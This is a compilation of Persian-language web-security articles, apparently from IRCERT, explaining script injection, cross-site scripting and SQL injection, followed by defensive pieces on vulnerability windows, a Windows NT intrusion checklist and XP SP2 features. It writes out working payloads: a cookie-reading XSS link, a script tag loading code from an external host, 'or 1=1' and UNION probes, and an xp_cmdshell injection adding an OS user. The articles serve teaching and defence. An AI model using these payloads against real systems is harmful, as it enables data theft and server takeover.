در صورتی که این اسکریپت در پایگاه داده اضافه شود، هر بار که کاربری بخواهد لیست مولفین را ببیند چنین صفحه‌ای را خواهد دید:

با بررسی اتفاقاتی که رخ داده مشخص می‌شود که اسکریپت وارد شده در صفحه، کد سمت سرور برنامه را تغییر نمی‌دهد. آنچه که اتفاق افتاده تغییر محتوای پویای سایت است. با وجود عدم تغییر کد برنامه، باز این تزریق اسکریپت خطرناک است، زیرا اسکریپتی که وارد شده است به عنوان بخشی از محتویات سایت در مرورگر‌های کاربران اجرا می‌شود. کد اسکریپت وارد شده توسط همه کاربرانی که به سایت مراجعه می‌کنند رویت می‌شود.

به طریق مشابه کاربر می‌تواند هر کد JavaScript دیگری را نیز به سایت تزریق نماید. به عنوان مثال:

<script> location.href = ‘Malicious.html’; </script>
 با درج عبارت فوق در پایگاه داده به عنوان نام یکی از مولفین هر گاه صفحه نام مولفین توسط کاربری مشاهده شود، کنترل مرورگر به صورت خودکار به صفحه Malicious.html انتقال داده می‌شود. (نشانه location که با یک آدرس URL‌ اشاره می‌کند، محتویات صفحه‌ای که آدرس آن در href معرفی شده است را در مرورگر بار می‌کند.)

هکر در صفحه Malicious.html می‌تواند هر کاری انجام دهد. به عنوان مثال می‌تواند یک کنترل ActiveX و یا کد JavaScript را بر روی دستگاه کاربر بار کرده و اقدام به اجرای آن نماید، و یا تعدادی زیادی مرورگر جدید باز نموده و در هر یک از آنها یک سایت جدید را باز کند.


﻿ IRCERT - مقالات -Cross-Site Scripting

حمله به برنامه‌های وبی (۲):

Cross-Site Scripting

این نوع حمله خیلی مشابه به حملات تزریق اسکریپت است و در مواقعی اتفاق می‌افتد که کد اسکریپت توسط صفحات پویای وب سایر سایت‌ها در مرورگر وب وارد شود. در این نوع حملات، هدف هکر خود سایت نیست، بلکه کاربران آن مد نظر می‌باشند. فرض کنید که یک سایت عبارات جستجو را با استفاده از مجموعه QueryString (در صورتی که برنامه با استفاده از فناوری .NET توسعه داده شده باشد) و از طریق متد HTTP Get دریافت می‌کند، و سایر سایت‌ها می‌توانند عبارات جستجو را با عبارت پرس و جوس Search ارسال کنند.

YourSite.com?Search=asp.net

صفحه جستجو رشته پرس و جو را خوانده و در پایگاه داده به دنبال عبارت مورد نظر می‌گردد و در نهایت نتیجه جستجو را نمایش می‌دهد. در صورتی که داده‌ای متناسب با عبارت مورد نظر در پایگاه داده وجود نداشته باشد، پیامی مبنی بر یافت نشدن جواب تولید و نمایش داده خواهد شد.

در صفحه جستجو قالبی کد‌های زیر وجود دارند:

void Page_load(Object Src,EventArgs E)

{

String sSearchStr="";

NameValueCollection ColQstr = Request.QueryString;

String[] qStrAry = colQstr.AllKeys;

for (int i = 0; i<= qStrAry.GetUpperBound(0); i++)

{

if (qStrAry[i] == "search")

{

String[] qStrAry = colQstr.AllKeys;

for (int j = 0; j<=qStrAryVal.GetUpperBound(0); j++)

{

sSearchStr = qStrAryVal[j];

break;

}

}

}

if (sSearchStr.Trim() != "")

{

if (SearchDataStore(sSearchStr) == false)

lblResult.Text = "The search keyword " + sSearchStr +

" did not produce any results. Please try again.";

}

}

bool SearchDataStore(String sSearchStr)

{

/*Perform the search against the datastore and display the

result. if there are no results then return false.*/

return false;

}

رویداد Page_Load پارامتر Search را در QueryString خوانده و مقدار آن را بازیابی می‌کند. سپس با فراخوانی متد SearchDataStore اقدام به بازیابی نتایج رشته جستجو می‌نماید. در صورتی که موردی در پایگاه داده یافت نشد مقدار بازگشتی این متد false خواهد بود. بعد از این فرایند رویداد Page_Load نتایج جستجو را نمایش می‌دهد (اگر بازگشتی متد true باشد رکوردهای یافت شده و در صورتی که false‌ باشد پیغام خطای مناسب). تا اینجا همه چیز روال عادی خود را طی می‌کند. حال فرض کنید یک کاربر و یا سایتی دیگر عبارت زیر را تایپ نماید:

Process.Aspx?Search=<script>alert(CSS Attack); </script>

رویداد Page_Load رشته پرس و جو را پردازش نموده و پیام زیر را نمایش می‌دهد:

به طریق مشابه، کاربر می‌تواند متن زیر را وارد نماید:

<a href="process.aspx?Search=<script>alert(document.cookie);</script>">Click here </a>

با کلیک لینک توسط کاربر، کنترل مرورگر به یک سایت دیگر منتقل می‌شود و تمام اطلاعات cookie های سایت اصلی در پنجره alert نمایش داده می‌شود. کد JavaScript از داخل حاشیه امنیتی دامنه فعلی اجرا می‌شود و بنابراین کد‌هایی قابل اجرا هستند که از خارج قابل اجرا شدن نیستند.

به طریق مشابه امکان ارسال اطلاعات Cookie به یک سرور دیگر نیز وجود دارد.

نوع دیگری از حملاتی که به این شیوه قابل انجام است بسیار پیشرفته‌تر است. فرض کنید یک سایت اطلاعات موجود در وب در مورد فناوری‌ را جمع‌آوری نموده و در اختیار کاربران خود قرار می‌دهد. در این سایت امکانی فراهم آمده است که کاربران می‌توانند آخرین اخباری را که از نظرشان جالب و مناسب سایت است را وارد نمایند. در صورتی که هیچ گونه اعتبارسنجی بر روی داده ورودی انجام نشود، با وارد شدن اطلاعات توسط کاربر، سیستم آن را در پایگاه داده خود ذخیره نموده و پیش‌نمایشی از آن را ارائه می‌دهد.

در این ساختار راه نفوذ برای هکرها باز است و می‌توانند با وارد کردن متنی مانند زیر به اهداف خرابکارانه خود برسند:

News: Here is a Cross-Site Script Attack

URL: www.SomeSite.com/default.aspx?ID=<script src='http://CssAttack.com/dostuff/js'></script>

اگر برنامه بدون اعتبار سنجی URL، آن را پذیرفته و در پایگاه داده وارد کند سایت و بینندگان آن در معرض حملات Cross-site قرار می‌گیرند. اگر متن اسکریپتی که وارد شده است مستقیما وارد پایگاه داده شده و از این پس به صورت هفتگی برای مشترکین ارسال شود، نتایج زیان باری حاصل می‌شود. هر کس که بر روی لینک خبر کلیک کند آدرس URL را در مرورگر خود مشاهده خواهد کرد و جاوا اسکریپت بیان شده در SRC نشانه script اجرا می‌شود.

نمونه دیگری از این نوع حملات به این صورت انجام می‌شود که هکر به جای استفاده از متن به فرمت ASCII‌ یا Unicode از کد حروف hex‌ استفاده می‌نماید.

News: Here is a Croos-Site Script Attack

URL: http://77%2077%2077%202e%2053%206f%206d%2065%2073%2069%2074%2065%20

2e%2063%206f%206d/default.aspx?3c%2053%2063%2072%2069%2070%2074%2020%20

73%2072%2063%203d%2092%2044%206f%2053%2074%2075%2066%2066%202e%20

4a%2073%2092%203e%203c%202f%2053%2063%2072%2069%2070%2074%203e

حروف فوق در قالب ASCII‌ معادل

News: Here is a Cross-Site Script Attack

URL: www.SomeSite.com/default.aspx?ID=<script src='http://CssAttack.com/dostuff/js'></script>

می‌باشند.

با مشاهده موارد فوق مشخص می‌شود که اعتبار سنجی داده‌ها در زمان ورود اهمیت فوق‌العاده‌ای دارد. اسکریپتی که در URL‌ ارائه می‌گردد می‌تواند اعمال بسیار خطرناکی را انجام دهد که بستگی به قابلیت‌های زبان اسکریپت‌نویسی دارد. این اعمال شامل موارد زیر می‌باشند:

· ممکن است داده‌ها تحریف شوند، به عنوان مثال ممکن است محتویات یک cookie تغییر یابد.

· یکپارچگی اطلاعات به خطر افتد.

· اسکریپت‌هایی با اهداف خرابکارانه در محیط سایت‌های مطمئن اجرا شوند.

· Cookie ها مقدار دهی شده و یا اطلاعات آنها خوانده شود.

· ورودی‌های کاربران مورد استراق سمع واقع شود.

· کاربران به سایت‌هایی نامطمئن هدایت شوند.


﻿ IRCERT - حمله به برنامه‌های وبی (۳) - مقالات

حمله به برنامه های وبی (۳)

در بخش‌های پیشین از این مجموعه مقالات تعدادی از روش‌های حمله به برنامه‌های وبی معرفی شدند. در ادامه به روش‌هایی که با استفاده از آنها می‌توان به پایگاه داده سیستم نفوذ کرد اشاره می‌شود.

تزریق SQL

به زبان ساده این نوع حمله وارد کردن کد SQL به یک برنامه است، در شرایطی که توسعه دهنده برنامه قصد آن را نداشته و یا حتی پیش‌بینی آن را نیز نکرده باشد. ریشه این نوع حملات به ساختار طراحی ضعیف برنامه برمی‌گردد و تنها در مورد برنامه‌هایی قابل انجام است که از روش‌های ساخت رشته های SQL بهره می‌گیرند.

به مثال زیر توجه کنید:

Dim StrSQL as String = "SELECT CustomerID, CompanyName, ContactName, " & -

"ContactTitle FROM Customers WHERE CustomerID = '" & txtCustID.Text & "'"

در عبارت فوق با استفاده از روش ساخت رشته به صورت پویا یک رشته SQL تولید می‌شود که CustomerID‌ با مقدار موجود در txtCustID جایگزین می‌شود. در شرایط عادی کاربر شناسه خود را در Box وارد می‌نماید، برنامه اقدام به جستجو در پایگاه داده نموده و پس از آن نتایج برای کاربر نمایش داده می‌شود. به عنوان مثال اگر کاربر شناسه ALFKI را وارد نماید نتایجی که برنامه تولید می‌کند به شرح زیر خواهد بود:

در چنین موردی کاربر می‌تواند در فرایند تولید عبارت SQL به گونه‌ای دخالت کند که پیام خطا دریافت نماید. اگر خطای تولید شده به درستی در برنامه مدیریت نشود و این پیام به صورت کامل در اختیار کاربر قرار گیرد، اطلاعات بیشتری در خصوص عبارت SQL‌ دراختیار کاربر قرار خواهد گرفت که مقدمه نفوذ به سیستم را فراهم می‌آورد. به عنوان مثال کاربر می‌تواند عبارت زیر را وارد نماید:

ALFKI' or CustomerID like '%

با توجه به اینکه هیچگونه اعتبار سنجی بر روی داده ورودی کاربر انجام نمی‌شود، عبارت ساخت رشته SQL عبارت زیر را تولید خواهد نمود که در پی آن اجرا هم خواهد شد:

SELECT CustomerID, CompanyName, ContactName, ContactTitle FROM Customers WHERE CustomerID = 'ALFKI' or CustomerID like '%'

در نتیجه اجرای این رشته SQL‌ علاوه بر اطلاعات کاربر با شناسه ALFKI، اطلاعات تمام کاربران موجود در پایگاه داده نمایش داده می‌شود. در صورتی که در پایگاه داده سیستم اطلاعات حساس شخص مانند شماره کارت اعتباری ذخیره شده باشد، این اتفاق می‌تواند منجر به بروز یک فاجعه شود.

هکرها به روش دیگری نیز می‌توانند با تزریق SQL‌ به اطلاعات پایگاه داده دسترسی یابند. اگر رشته ALFKI' or 1=1 -- در صفحه وارد شود نتیجه‌ دقیقا مشابه حالت قبل خواهد بود. در این صورت رشته SQL تولید شده، به صورت زیر می‌باشد:

SELECT CustomerID, CompanyName, ContactName, ContactTitle FROM Customers WHERE CustomerID = 'ALFKI' or 1=1 --

دو خط فاصله (--) استفاده شده در عبارت در MS SQL Server‌ مشخص کننده جملات توضیحات (Comments) هستند. این کار در My SQL‌ با نماد (#)‌ و در اراکل با نماد (;)‌ انجام می‌شود. هکر قادر است هر رشته‌ای را در صفحه وبی وارد نماید، و در صورتی که اعتبار سنجی مناسب انجام نشود، بالقوه سایت در معرض خطرات فراوانی خواهد بود.

حمله SQL Union

برای دریافت اطلاعات بیشتر در مورد سرور حمله کنندگان به سایت می‌توانند از عبارت Union استفاده نمایند. با وجودی که این نوع حمله بسیار سخت‌تر بوده و دشواری‌های خاص خود را به همراه دارد، ولی با این وجود غیر ممکن نیست. مهمترین محدودیت این نوع حمله در این است که هر دو عبارت پرس و جو باید یک تعداد ستون‌های یکسانی را برگردانند و نوع داده ستونهای هر دو عبارت پرس و جو باید با هم سازگار باشند. این مسئله باعث می‌شود که حمله Union دشوارتر از سایر روشها باشد ولی با چند بار تلاش هکر می‌تواند موفق به گرفتن اطلاعات مورد نیاز خود شود. به عنوان مثالی از این نوع حمله فرض کنید هکر عبارت زیر را وارد می‌نماید:

ALFKI' union select @@Servername --

در این صورت رشته SQL‌ زیر تولید خواهد شد:

SELECT CustomerID, CompanyName, ContactName, ContactTitle FROM Customers WHERE CustomerID = 'ALFKI' union select @@Servername --'

این رشته منجر به تولید یک خطا در سمت سرور می‌شود و با توجه به مکانیزم کنترل خطا، احتمالا پیام تولید شده به کاربر نمایش داده می‌شود. در هر صورت هکر چند بار تلاش به شرح زیر انجام می‌دهد:

ALFKI' union select @@Servername, @@Servicename, @@Version --

ALFKI' union select @@Servername, @@Servicename, @@Servicename, @@Version --

با چندین بار تکرار و سعی و خطا بالاخره هکر می‌تواند به هدف خود رسیده و تعداد ستون‌هایی که توسط عبارت SQL برگردانده می‌شود را کشف نماید. با این کشف کنترل بیشتری بر روی عبارت union بعدی که نوشته می‌شود بوجود می‌آید. ورودی فوق عبارتی به شکل زیر تولید می‌کند:

SELECT CustomerID, CompanyName, ContactName, ContactTitle FROM Customers WHERE CustomerID = 'ALFKI' union select @@Servername, @@Servicename, @@Servicename, @@Version --

با توجه به اینکه عبارت فوق یک عبارت معتبر SQL است، لذا SQL Server آن را اجرا نموده و مقادیر نتیجه را برای صفحه ASP.NET برمی‌گرداند.

این خروجی اطلاعات ذیقیمتی در ارتباط با سرور شامل نام سرور، نام سرویس، نسخه سرور، سرویس پک و نسخه سیستم عامل را در اختیار هکر قرار می‌دهد.


﻿ IRCERT - حملات پیشرفته تر - مقالات

حمله به برنامه های وبی (4):

حملات پیشرفته تر

در حملاتی که تا اینجا مورد بررسی قرار گرفتند، یک SQL ساده به برنامه تزریق می شد. در صورتی که تدابیر لازمه اندیشیده نشود همه پایگاه های داده در برابر این نوع حملات آسیب پذیر هستند. به عنوان یک واقعیت همه سیستم های مدیریت پایگاه داده نقاط ضعف و قوت خاص خود را دارند و بنابراین امکان نفوذ به آنها برای مهاجم ها در هر زمانی وجود دارد.

یکی دیگر از حملات که از موارد قبلی پیشرفته تر است اجرای دستورات خارجی سیستم عامل می باشد از درون محیط سیستم مدیریت پایگاه داده است. به عنوان مثال SQL Server به کاربران اجازه می دهد که با استفاده از روال ذخیره شده ۱ xp-cmdshell دستورات خارجی سیستم عامل را اجرا کند.

برای بهره گرفتن از این قابلیت کاربر می تواند در بخش ورود اطلاعات صفحه وب متن زیر را وارد نماید:

'exec master..xp-cmdshell 'net user HackUser Mypassword /ADD'--

در این صورت برنامه کاربردی عبارت SQL زیر را ساخته و آن را به SQL Server ارسال می نماید:

SELECT CustomerID, CompanyName, ContactName, ContactTitle FROM Customers WHERE CustomerID = ''exec master..xp-cmdshell 'net user HackUser Mypassword /ADD'--

SQL Server با این عبارت Sql به عنوان دو دستور مجزا که به صورت دسته ای صادر شده اند برخورد می کند. این دو دستور به صورت زیر هستند:

SELECT CustomerID, CompanyName, ContactName, ContactTitle FROM Customers WHERE CustomerID = ''

exec master..xp-cmdshell 'net user HackUser Mypassword /ADD'--

SQL Server در ابتدا عبارت Select را اجرا نموده و سپس دستور سیستم عامل را اجرا می نماید که در نتیجه آن کاربر HackUser با گذرواژه MyPassword به SAM ۲ محلی افزوده می شود و از ادامه عبارت SQL به دلیل اینکه پس از عبارت توضیح (--) آمده است صرف نظر می شود. در صورتی که برنامه کاربردی با اختیارات مدیر سیستم در حال اجرا باشد این دستور بدون هیچ مشکلی اجرا می شود. به عنوان مثال کاربری مانند sa که برای اهراز هویت در SQL Server به کار می رود دارای اختیارت کافی برای ایجاد کاربر جدیدی با عنوان HackUser می باشد.

[1] - System Account Manager

[2]- Stored Procedure


﻿ IRCERT - پنجره آسیب پذیری، دلیلی برای هک شدن - مقالات

پنجره آسیب پذیری، دلیلی برای هک شدن

آیا تنها داشتن یک ضد ویروس قدرتمند و به روز یا اعمال به موقع پچهای امنیتی تضمین مناسبی برای ایمنی سیستمهاست؟ پاسخ به این سئوال چندان که به نظر میرسد آسان نیست. پاسخ رسمی به این سئوال مثبت است. بعبارتی تولید کنندگان نرم افزار شما را مطمئن میکنند که تنها در صورت رعایت این موارد کامپیوتر شما ایمن خواهد بود. اما واقعیت چیز دیگریست. آنها تا زمانی که مجبور به اعتراف نشوند حقیقت را نمیگویند. تنها پس از آمدن یک دو جین ویروسها و کرمهای اینترنتی اخیر بود که میکروسافت وادار به اعتراف شد. البته حتی در همین شرایط هم باز چنان وانمود میشود که گویی اوضاع کاملا در کنترل است.

اجازه دهید تا باز گردیم به سئوال ابتدای بحث. پاسخ به این سئوال منفی ست. هرچند اعمال قواعد امنیتی، به روزرسانی نرم افزارها و سایر راهکارهای امنیتی (از جمله توصیه های IRCERT) شما را تا حدود زیادی ایمن میکند اما هیچکدام تضمین صددرصدی به شما نمیدهند. واقعیت نه چندان خوشایند اینکه این راه حلها تنها افراد را در برابر تعدادی آماتور یا اصطلاحا Script Kiddies و یا ویروسها مصون می سازند. اما کلاه سیاهها (حساب سازمانهای جاسوسی و شرکتهای بزرگ جداست!) کماکان هر زمان که بخواهند با چند کلیک میتوانند وارد کامپیوتر شخصی ما شوند. اخیرا یکی از موسسات مرتبط با سازمان جدید التاسیس امنیت داخلی آمریکا طی گزارشی که برای این سازمان تهیه شده به یک فاکتور تعیین کننده اشاره کرده است: پنجره آسیب پذیری.

پنجره آسیب پذیری مدت زمان آسیب پذیری سیستم شما در برابر یک شکاف امنیتی یا حمله اینترنتی است. این زمان عبارت از فاصله میان کشف یک مشکل امنیتی (عموما توسط هکرها) تا پیدا شدن راه حل مربوطه (توسط شرکت مسئول) و در نهایت اعمال راه حل مربوطه توسط شما. سیکل متداول این ماجرا به این شکل است:

  • روز اول: انتشار خبر وجود یک شکاف امنیتی در یکی از بولتنها و گروههای امنیتی
  • روز چهاردهم تا شصتم: متخصصیت شرکت مسئول به وجود شکاف امنیتی مربوطه اعتراف میکنند. و شروع به تولید وصله امنیتی میکنند
  • روز سی ام تا نود ام: تولید وصله امنیتی در شرکت مسئول و تست نرم افزار. این مرحله مهم ترین مرحله است زیرا در سالهای اخیر بسیار پیش آمده که یک وصله امنیتی بدون انجام تستهای کافی وارد بازار شده است و در نتیجه گرچه مشکل امنیتی اولیه را حل کرده است اما خود مشکلات جدیدی را ایجاد کرده است. این مشکلات جدید عمدتا مشکلات پایداری هستند اما گهگاه مشکلات امنیتی را نیز شامل شده اند. به این دلایل این روزها قبل از ارائه یک وصله امنیتی تستهای بسیاری بر روی آن انجام میشود که این کار به زمان زیادی نیاز دارد. این زمان مهمترین بخش پنجره آسیب پذیری است.
  • روز 60 تا 180: در این دوره وصله امنیتی مربوطه در دسترس عموم قرار میگیرد. جالب است بدانید این زمان در مورد شکاف ASN.1 چیزی در حدود 200 روز بود.
  • روز 90 تا 270: طی این دوره وصله امنیتی به صورت عام توسط کاربران مورد بهره برداری قرار میگیرد.

به شکل فوق دقت کنید در این شکل دو سناریوی ممکن برای سیکل کشف یک شکاف امنیتی نشان داده شده است. در حالت ایده آل شکاف امنیتی توسط یک متخصص کشف می شود. در این حالت این مطلب از طریق کانالهای امن خصوصی به شرکت مسئول گزارش میشود تا راه حلی برای آن بیابد. بدیهی ست که درین حالت هکرها تنها پس از اعلام وجود وصله امنیتی از وجود شکاف امنیتی مطلع میشوند بنابراین زمان بسیار کمی برای نفوذ دارند: چیزی مابین 30 تا 90 روز. اما اگر این شکاف توسط هکرها کشف شود طبیعیست که اوضاع متفاوت خواهد بود. در این حالت هکرها تا 270 روز وقت دارند که به سیستم شما نفوذ کنند.

در شکل فوق پنجره آسیب پذیری در سیستمها در حالتی که دارای یکی از ابزارهای
IDS ،Patch Management یا Anti Virus باشند مقایسه شده است. دقت کنید که کمترین آسیب پذیری مربوط به سیستمهای دارای تشخیصگر نفوذ و بیشترین آن مربوط به سیستمهایی ست که تنها دارای یک ضد ویروس معمولی هستند.

آنچه گفته شد تصویر واقعی از شرایط امنیتی موجود بود. البته میتوان با اتخاذ یک سیاست موثر امنیتی، پیگیری راهنماییها و نیز استفاده از رویکردهای پیشگیرانه (Proactive) به جای رویکردهای مبتنی بر پاسخگویی صرف (Reactive) میزان این خطرات را تا حد زیادی کاهش داد.


﻿ IRCERT - مقالات - Windows NTقسمت اول-چک لیست کشف نفوذ در سیستم عامل

چک لیست کشف نفوذ در سیستم عامل Windows NT
 (قسمت اول)

این مقاله به صورت کلی گام هایی را بیان می کند که برای تشخیص به خطر افتادن سیستم عامل Windows NT مورد استفاده قرار می گیرند. مدیران سیستم می توانند از این اطلاعات بهره گرفته و نفوذ های احتمالی به سیستم هایی که از این سیستم عامل بهره می گیرند را ردیابی کنند. مطالعه همه بخش های این مقاله برای مدیرانی که مایل به شناسایی نقاط ضعف سیستم های خود هستند مفید است.

علاوه بر استفاده از نکات مطرح شده در این مقاله بهره گیری از نسخه های به روز رسان و وصله های ارائه شده توسط تولید کنندگان نرم افزار هم باید به صورت مرتب و جدی انجام شود.

الف. ردیابی علائمی که خطرات احتمالی سیستم را نشان می دهند:

۱- Log فایل های ایجاد شده بر روی سیستم را بررسی کنید تا اتصالات به دستگاه از نقاط غیرمعمول و یا فعالیت های غیرمعمول شناسایی شوند. می توان با استفاده از Event Viewer ورود های عجیب به سیستم(Logon)، نقص سرویس ها و یا روشن و خاموش شدن های غیر عادی را بررسی کرد. در صورتی که حفاظ [1]، خادم وب و یا مسیریاب سیستم فعالیت های جاری خود را بر روی دستگاهی دیگر ثبت می کنند، باید log های ذخیره شده بر روی آن دستگاه ها هم بررسی شود. به خاطر داشته باشید تنها در صورتی این اطلاعات مفید می باشد که فایل های ثبت فعالیت ها فقط قابلیت اضافه کردن داشته باشند. بسیاری از نفوذکنندگان به سیستم ها با ویرایش فایل های log ردپای خود را از روی سیستم پاک می کنند.

۲- کاربران و گروه های عجیب را بررسی کنید. برای این کار می توانید از ابزار User Manager و یا دستورات ‘net user’، ‘net group’ و ‘net localgroup’ بهره بگیرید. اطمینان حاصل کنید شناسه GUEST که به صورت پیش فرض ساخته می شود در صورتی که سیستم به آن نیاز ندارد، غیرفعال باشد.

۳- همه گروه ها را چک کنید که کاربران نامعتبر عضو آنها نباشند. بعضی از گروه های پیش فرضNT اختیارات خاصی را به اعضای خود می دهند. اعضای گروه Administrators می توانند بر روی سیستم محلی هر گونه فعالیتی را انجام دهند. کاربران Backup operator می توانند همه فایل های موجود بر روی سیستم را بخوانند و کاربران PowerUser امکان به اشتراک گذاشتن منابع سیستم را دارند.

۴- حقوق کاربران را بررسی کنید و امکان انجام فعالیت های غیرمنطقی را از آنها بگیرد. برای این کار می توان از Administrative Tools آیکون Local Security Settings را انتخاب کنید. حقوق مختلفی که می توان به کاربران و گروه های مختلف داد در بخش User Rights Assignment قابل مشاهده می باشد. ۲۷ حق مختلف وجود دارد که قابل تخصیص دادن به کاربران و گروه های کاربری می باشد. پیکربندی پیش فرض حقوق کاربران معمولا امنیت مناسبی را داراست.

۵- از عدم اجرای برنامه های غیر مجاز اطمینان حاصل کنید. یک نفوذگر می تواند با استفاده از روش های متنوعی یک برنامه درپشتی را اجرا کند. بنابراین از موارد زیر مطمئن شوید:

· پوشه های Startup موجود بر روی دستگاه را بررسی کنید. دقت کنید که دو پوشه Startup وجود دارد که یکی مربوط به کاربر محلی است و دیگری به همه کاربران ارتباط دارد. در زمان ورود یک کاربر به سیستم همه برنامه های کاربردی موجود در “All Users” و پوشه Startup کاربران اجرا می شوند. بازرسی دقیق همه پوشه های Startup برای کشف برنامه های مشکوک ضروری است.

· رجیستری سیستم را چک کنید. لیست زیر نقاطی که باید در رجیستری مورد بررسی قرار گیرند را نشان می دهد:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\KnownDLLs
HKEY_LOCAL_MACHINE\System\ControlSet001\Control\Session Manager\KnownDLLs

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version\RunOnceEx
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows ("run=" line)

HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\RunOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\RunOnceEx
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows ("run=" value)

· سیستم را برای شناسایی سرویس های نامعتبر مورد بازرسی قرار دهید. برخی از برنامه های درپشتی خود را به عنوان سرویس بر روی دستگاه نصب کرده و در زمان روشن شدن دستگاه فعال می شوند. در چنین شرایطی سرویس می تواند با استفاده از حق “Logon as Service” به عنوان هر یک از کاربران سیستم اجرا شود. سرویس هایی که به صورت خودکار آغاز می شوند را بررسی کنید و از ضرورت وجود آنها اطمینان حاصل کنید. علاوه بر این مطمئن شوید که فایل اجرایی سرویس اسب تروا و یا برنامه در پشتی نیست.

دستورات زیر که می توان آنها را در یک فایل دسته ای قرار داد برای جمع آوری اطلاعات در مورد سرویس هایی که در حال اجرا هستند مفید هستند. خروجی این برنامه شامل کلید سرویس ها، مقدار پارامتر Startup و فایل اجرایی سرویس می باشد. این برنامه از دستور REG.EXE استفاده می کند که بخشی از NT Resource Kit می باشد. اجرای این برنامه باعث تغییر محتویات رجیستری و یا فایل ها نمی شود.

@echo off
REM The 'delims' parameter of PULLINFO1 and PULLINFO2 should be a single TAB.

for /f "tokens=1 delims=[]" %%I in ('reg query HKLM\SYSTEM\CurrentControlSet\Services') do
 call :PULLINFO1 %%I
set START_TYPE=
goto :EOF

:PULLINFO1
for /f "tokens=3 delims=           " %%I in ('reg query
 HKLM\SYSTEM\CurrentControlSet\Services\%1 ^| findstr "Start" ') do call :PULLINFO2 %1 %%I
goto :EOF

:PULLINFO2
for /f "tokens=3,4 delims= " %%I in ('reg query HKLM\SYSTEM\CurrentControlSet\Services\%1
 ^| findstr "ImagePath" ') do call :SHOWINFO %1 %2 %%I %%J
goto :EOF

:SHOWINFO
if /i {%2}=={0} set START_TYPE=Boot
if /i {%2}=={1} set START_TYPE=System
if /i {%2}=={2} set START_TYPE=Automatic
if /i {%2}=={3} set START_TYPE=Disabled
if not "%4" == "" (echo %1 -%START_TYPE%- %3\%4) else (echo %1 -%START_TYPE%- %3)
goto :EOF

سایر نکات ضروری برای تامین امنیت سیستم عامل Windows NT در بخش های بعدی از این مجموعه مقالات ارائه خواهد شد.

[1] - Firewall


﻿ IRCERT - مقالات - Windows XP Service Pack 2

Windows XP Service Pack 2

در این نوشته سعی داریم به معرفی مختصر ویژگی های امنیتی Windows XP Service Pack 2 بپردازیم که البته کامل نمی باشد و منبع آن نیز از مستندات منتشر شده توسط مایکروسافت است.

هدف اصلی SP2، بهبود امنیت کاربران ویندوز XP است که این کار را با 4 رویکرد انجام می دهد:

- محافظت بهتر از شبکه
- بهبود حفاظت از حافظه
- ایمن سازی امور مربوط به E-Mail
- امنیت در مرور اینترنت (توسط Internet Explorer)

محافظت از شبکه با فایروال پیشرفت کرده ویندوز است (که قبلا تحت عنوان Internet Connection Firewall وجود داشت) که به صورت پیش فرض فعال می باشد.این فایروال در مراحل اولیه بوت شدن ویندوز، قبل از اینکه Network Stack فعال شود، شروع به کار می کند و نفوذ گر در مراحل اولیه بالا آمدن سیستم هم نمی تواند آن را مورد حمله قرار دهد. همچنین هنگام خاموش شدن سیستم نیز، این فایروال بسیار دیر خاموش می شود و بعد از اینکه لایه های شبکه غیر فعال شدند، این فایروال کار خود را پایان می دهد. این فایروال دارای واسط کاربری قابل قبولی برای مدیریت آن می باشد و قابل مدیریت و اعمال سیاست از سوی مدیر شبکه یا همان Domain Administrator می باشد. همچنین از IPv6 که در این نسخه از ویندوز ارائه شده است نیز پشتیبانی می کند.
 RPC [1] که در دو سال گذشته، هدف حملات اصلی کرم های اینترنتی بود نیز در این نسخه از ویندوز بهبود یافته است. آسیب پذیری کمتر، سطوح دسترسی [2] بیشتر و همچنین امکان استفاده از آن در شبکه های محدود و مدیریت آن برای جلوگیری از حملات خارج از شبکه از بهبودهایی است که در RPC صورت گرفته است.
مدیریت دسترسی بیشتر روی DCOM [3] برای پایین آوردن احتمال حمله از این طریق، از ویژگی های دیگر SP2 است. در این نسخه، تنها مدیران تایید هویت شده حق اتصال و فعال کردن از راه دور اجزا COM را دارند و تنها کاربران تأئید هویت شده می توانند به صورت از راه دور، COMها را صدا(Call) کنند.
ویژگی امنیتی قابل توجه دیگر در SP2، حمایت و پشتیبانی از پردازنده های با تکنولوژی NX [4] است. در این مدل، ویندوز صفحه های حافظه که مربوط به Data هستند را برچسب غیر اجرایی (non-executable) می زند و بدین طریق، از بسیاری از حملات Buffer Overflow که با فرستادن Data به صورت خاص، ویندوز را وادار به اجرای آن می کردند، جلوگیری می شود. شایان ذکر است که در حال حاضر، تنها پردازنده هایی که NX را پشتیبانی می کنند، پردازنده های 64 بیتی AMD K8 و Intel Itanium هستند که مایکروسافت امیدوار است سایر پردازنده های 32 و 64 بیتی به زودی از این تکنولوژی استفاده کنند و این امنیت سخت افزاری را برای کاربران فراهم آورند.
در زمینه جلوگیری از Buffer Overflow، علاوه بر پشتیبانی از NX، ویژگی دیگری موسوم به Sandboxing را نیز در ویندوز پیاده سازی کرده اند که طی آن، کلیه کدهای باینری قبل از اجرا، دوباره کامپایل می شوند و ویژگیهای امنیت بافر در آن فعال می شود تا runtime libraryهایی بتوانند در حال اجرا، حملات مبتنی بر Buffer overflow را تشخیص دهند و از آن جلوگیری کنند و Cookieهایی به heap افزوده می شود تا بتواند حملات heap buffer overflow رانیز محافظت کند.
با ارائه نسخه جدیدی از Outlook Express در SP2، از عکسها و کلیه محتوای خارجی[5] جلوگیری می شود، در مورد سایر برنامه ها که قصد فرستادن E-Mail را دارند، هشدار داده می شود و روی باز کردن و ذخیره کردن ضمیمه نامه ها(Email Attachments) نیز کنترل صورت می گیرد. برای کنترل اجرای ضمیمه های آسیب رسان، از سرویس دیگری به نام New Application Execution Service استفاده می شود. همچنین کاربران این امکان را دارند تا همه نامه ها را به صورت Plain Text یا متنی مشاهده کنند و بدین وسیله از حملاتی که بالقوه ممکن است در HTML صورت پذیرد، جلوگیری کنند. Windows Messenger و MSN Messenger نیز از بهبودهای Attachment استفاده می کنند.
